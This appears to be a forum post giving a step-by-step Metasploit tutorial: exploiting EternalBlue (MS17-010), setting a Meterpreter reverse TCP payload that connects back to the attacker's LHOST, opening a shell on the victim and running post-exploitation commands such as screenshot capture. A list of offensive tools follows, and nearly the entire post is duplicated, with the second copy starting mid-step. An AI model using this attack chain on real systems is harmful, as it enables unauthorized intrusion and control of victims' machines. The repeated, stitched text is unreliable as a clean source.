Dec 4, 2025 12:38 PM
(This post was last modified: Dec 4, 2025 12:43 PM by SkilledMaster.)
Step 1: Launch the Metasploit Console
Open a terminal in Parrot OS and start the Metasploit Framework.
CODE:
msfconsole
You will see the Metasploit welcome banner and your prompt will change to msf6 >
Step 2: Search for a Module
Use the search command to find an exploit, auxiliary, or post-exploitation module. You can search by name, CVE, platform, or type.
Example 1: Search for an exploit related to the EternalBlue vulnerability (MS17-010).
msf6 > search ms17-010
Example 2: Search for all FTP-related scanner modules.
msf6 > search type:auxiliary name:ftp
Step 3: Select a Module
Once you have identified the module you want to use from the search results, select it with the use command.
Example: Select the EternalBlue exploit module.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
Your prompt will change to msf6 exploit(windows/smb/ms17_010_eternalblue) >, indicating you are now "inside" that module.
Step 4: View and Configure Options
Every module has configurable parameters. Use show options to see what is required and what can be customized.
Example: View the options for the selected module.
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
This will display a table. Required parameters that are not set will be marked with No in the Required? column.
Example: Set the target's IP address. The RHOSTS option is almost always required. Set it using the set command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS
Example: Set the listening host (your machine) for the payload to connect back to. The LHOST option is required for reverse payloads. Set it to your IP address.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST
Step 5: Select a Payload
An exploit delivers a payload, a piece of code that runs on the target machine. Use show payloads to see compatible payloads for your exploit.
Example: Show compatible payloads.
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Example: Select a Meterpreter reverse TCP payload. Meterpreter is an advanced, powerful payload that gives you extensive control over the target system.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
Step 6: Run the Exploit
Once all required options are set, execute the exploit with the run or exploit command.
Example: Launch the exploit against the target.
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
If the exploit succeeds, you will see a new prompt like meterpreter >. This means you now have an interactive shell on the target machine.
Step 7: Post-Exploitation (Interacting with the Target)
Inside the Meterpreter session, you can run commands to gather information, escalate privileges, or move laterally.
Example 1: Get the system information.
meterpreter > sysinfo
Example 2: See who is logged into the machine.
meterpreter > getuid
Example 3: View the user's desktop.
meterpreter > screenshot
Example 4: Open a shell on the target for more direct command execution.
meterpreter > shell
You can type exit to return to the Meterpreter prompt.
Step 8: Background the Session and Exit
To return to the main msf6 prompt while keeping the session active, press Ctrl + Z. You can then interact with other modules or manage your sessions.
Example: List all active sessions.
msf6 > sessions
Example: Re-interact with a specific session (e.g., session 1).
msf6 > sessions -i 1
To exit Metasploit completely, type exit at the main msf6 prompt.
msf6 > exit
WARNING:
Please use it for educational or legal purposes at your own risk.
Send PM for any question for other tools:
Information Gathering
Nmap
Maltego
Recon-ng
theHarvester
WPScan
Shodan
Dirb
Gobuster
Sublist3r
Amass
SpiderFoot
Vulnerability Analysis
OpenVAS
Lynis
Nikto
Nessus
Skipfish
Vega
Arachni
Web Application Analysis
Burp Suite
OWASP ZAP
SQLmap
XSSer
Caido
Ffuf
Wfuzz
Wpscan
Password Assessment
John the Ripper
Hashcat
Hydra
Medusa
CeWL
Crunch
Wireless Attacks
Aircrack-ng
Wifite
Airgeddon
Bluelog
Bluesnarfer
Exploitation Tools
Metasploit Framework
BeEF
Sqlmap
Xplico
PowerSploit
Empire
Sniffing & Spoofing
Wireshark
tcpdump
Ettercap
MITMproxy
Scapy
Ngrep
Forensics
Autopsy
Volatility
Sleuth Kit
Binwalk
Foremost
PhotoRec
Reverse Engineering
Ghidra
Radare2
GDB
OllyDbg
IDA Pro
x64dbg
Reporting Tools
Dradis
KeepNote
CherryTree
MagicTree
Stress Testing / DoS
Hping3
Nmap
Nping
T50
GoldenEye
Open a terminal in Parrot OS and start the Metasploit Framework.
CODE:
msfconsole
You will see the Metasploit welcome banner and your prompt will change to msf6 >
Step 2: Search for a Module
Use the search command to find an exploit, auxiliary, or post-exploitation module. You can search by name, CVE, platform, or type.
Example 1: Search for an exploit related to the EternalBlue vulnerability (MS17-010).
msf6 > search ms17-010
Example 2: Search for all FTP-related scanner modules.
msf6 > search type:auxiliary name:ftp
Step 3: Select a Module
Once you have identified the module you want to use from the search results, select it with the use command.
Example: Select the EternalBlue exploit module.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
Your prompt will change to msf6 exploit(windows/smb/ms17_010_eternalblue) >, indicating you are now "inside" that module.
Step 4: View and Configure Options
Every module has configurable parameters. Use show options to see what is required and what can be customized.
Example: View the options for the selected module.
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
This will display a table. Required parameters that are not set will be marked with No in the Required? column.
Example: Set the target's IP address. The RHOSTS option is almost always required. Set it using the set command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS
Example: Set the listening host (your machine) for the payload to connect back to. The LHOST option is required for reverse payloads. Set it to your IP address.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST
Step 5: Select a Payload
An exploit delivers a payload, a piece of code that runs on the target machine. Use show payloads to see compatible payloads for your exploit.
Example: Show compatible payloads.
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Example: Select a Meterpreter reverse TCP payload. Meterpreter is an advanced, powerful payload that gives you extensive control over the target system.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
Step 6: Run the Exploit
Once all required options are set, execute the exploit with the run or exploit command.
Example: Launch the exploit against the target.
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
If the exploit succeeds, you will see a new prompt like meterpreter >. This means you now have an interactive shell on the target machine.
Step 7: Post-Exploitation (Interacting with the Target)
Inside the Meterpreter session, you can run commands to gather information, escalate privileges, or move laterally.
Example 1: Get the system information.
meterpreter > sysinfo
Example 2: See who is logged into the machine.
meterpreter > getuid
Example 3: View the user's desktop.
meterpreter > screenshot
Example 4: Open a shell on the target for more direct command execution.
meterpreter > shell
You can type exit to return to the Meterpreter prompt.
Step 8: Background the Session and Exit
To return to the main msf6 prompt while keeping the session active, press Ctrl + Z. You can then interact with other modules or manage your sessions.
Example: List all active sessions.
msf6 > sessions
Example: Re-interact with a specific session (e.g., session 1).
msf6 > sessions -i 1
To exit Metasploit completely, type exit at the main msf6 prompt.
msf6 > exit
WARNING:
Please use it for educational or legal purposes at your own risk.
Send PM for any question for other tools:
Information Gathering
Nmap
Maltego
Recon-ng
theHarvester
WPScan
Shodan
Dirb
Gobuster
Sublist3r
Amass
SpiderFoot
Vulnerability Analysis
OpenVAS
Lynis
Nikto
Nessus
Skipfish
Vega
Arachni
Web Application Analysis
Burp Suite
OWASP ZAP
SQLmap
XSSer
Caido
Ffuf
Wfuzz
Wpscan
Password Assessment
John the Ripper
Hashcat
Hydra
Medusa
CeWL
Crunch
Wireless Attacks
Aircrack-ng
Wifite
Airgeddon
Bluelog
Bluesnarfer
Exploitation Tools
Metasploit Framework
BeEF
Sqlmap
Xplico
PowerSploit
Empire
Sniffing & Spoofing
Wireshark
tcpdump
Ettercap
MITMproxy
Scapy
Ngrep
Forensics
Autopsy
Volatility
Sleuth Kit
Binwalk
Foremost
PhotoRec
Reverse Engineering
Ghidra
Radare2
GDB
OllyDbg
IDA Pro
x64dbg
Reporting Tools
Dradis
KeepNote
CherryTree
MagicTree
Stress Testing / DoS
Hping3
Nmap
Nping
T50
GoldenEye



![[Image: 3.gif]](https://i.ibb.co/zH0GQ122/3.gif)
